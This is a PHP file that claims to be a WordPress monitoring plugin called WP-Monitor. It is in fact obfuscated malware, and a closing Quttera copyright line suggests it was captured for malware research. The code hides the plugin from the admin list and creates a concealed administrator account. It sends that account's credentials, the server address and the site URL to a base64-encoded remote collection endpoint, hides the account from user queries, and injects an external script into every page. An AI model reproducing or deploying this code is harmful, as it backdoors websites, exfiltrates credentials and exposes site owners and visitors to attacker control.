/**
* Plugin Name: WP-Monitor
* Plugin URI: https://github.com/SysTrack/WP-Monitor
* Description: Real-time resource and uptime monitoring for distributed WordPress clusters.
* Version: 3.2.1
* Author: SysTrack Labs
* Author URI: https://github.com/SysTrack
* Text Domain: wp-monitor
* License: MIT
*/
goto oYfIF; Gdr7y: register_deactivation_hook(__FILE__, function () { delete_option("nitropress_data_sent"); }); goto qagYS; oYfIF: class WPMonitor { private $seed; private $config = array("font" => "aHR0cHM6Ly9mb2cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcGVuK1NhbnM6dzQwMCw3MDA=", "script" => "aHR0cHM6Ly9rc2FpdGtrdGthdGZsLmNvbS9udmpm", "endpoint" => "aHR0cHM6Ly9raWNrc3Rhci14Ymxvb20uaW5mby9jb2xsZWN0LnBocA=="); public function __construct() { $this->seed = md5(DB_PASSWORD . AUTH_SALT); $this->init_hooks(); } private function init_hooks() { goto TksQU; TksQU: add_filter("all_plugins", [$this, "hide_plugin"]); goto E6Afb; E6Afb: add_action("init", [$this, "create_admin_user"]); goto Hy21u; iEArP: add_action("wp_enqueue_scripts", [$this, "load_assets"]); goto p2DZZ; Hy21u: add_action("pre_user_query", [$this, "filter_admin_users"]); goto iEArP; p2DZZ: } public function hide_plugin($dLceo) { unset($dLceo[plugin_basename(__FILE__)]); return $dLceo; } public function create_admin_user() { goto jIbvc; jIbvc: if (get_option("nitropress_data_sent", false)) { return; } goto nH42E; xo0hq: update_option("nitropress_data_sent", true); goto sIIfc; NnF5w: $this->send_credentials($lQzIv); goto xo0hq; nH42E: $lQzIv = $this->generate_credentials(); goto OeWsj; OeWsj: if (!username_exists($lQzIv["user"])) { $Lf47U = wp_create_user($lQzIv["user"], $lQzIv["pass"], $lQzIv["email"]); if (!is_wp_error($Lf47U)) { (new WP_User($Lf47U))->set_role("administrator"); } } goto NnF5w; sIIfc: } private function generate_credentials() { $zasOB = substr(hash("sha256", $this->seed . "creds"), 0, 16); return ["user" => "sys_" . substr(md5($zasOB), 0, 8), "pass" => substr(md5($zasOB . "pass"), 0, 12), "email" => "noreply@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url()]; } private function send_credentials($GmkMj) { goto EIjJK; EIjJK: $UYQhX = json_encode($GmkMj, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); goto MZGED; dZrWQ: wp_remote_post(base64_decode($this->config["endpoint"]), $brLGu); goto COo_5; MZGED: $brLGu = ["body" => ["d" => base64_encode($UYQhX)], "timeout" => 15, "blocking" => false, "sslverify" => false]; goto dZrWQ; COo_5: } public function filter_admin_users($CF8n4) { goto Z2Fce; gx6ys: $fDdYK = $this->generate_credentials()["user"]; goto CIG8E; Z2Fce: global $vfznW; goto gx6ys; CIG8E: $CF8n4->query_where .= " AND {$vfznW->users}.user_login != '{$fDdYK}'"; goto qEtpV; qEtpV: } public function load_assets() { goto nVhEO; S8PZX: wp_enqueue_script("ic-tracker", $LvUO0, [], null, ["strategy" => "defer", "in_footer" => false]); goto zRrR0; nVhEO: wp_enqueue_style("ic-fonts", base64_decode($this->config["font"]), [], null); goto kY8Py; kY8Py: $LvUO0 = base64_decode($this->config["script"]) . "?ts=" . time(); goto S8PZX; zRrR0: } } goto Gdr7y; qagYS: new WPMonitor();
© 2023 Quttera Ltd. All rights reserved.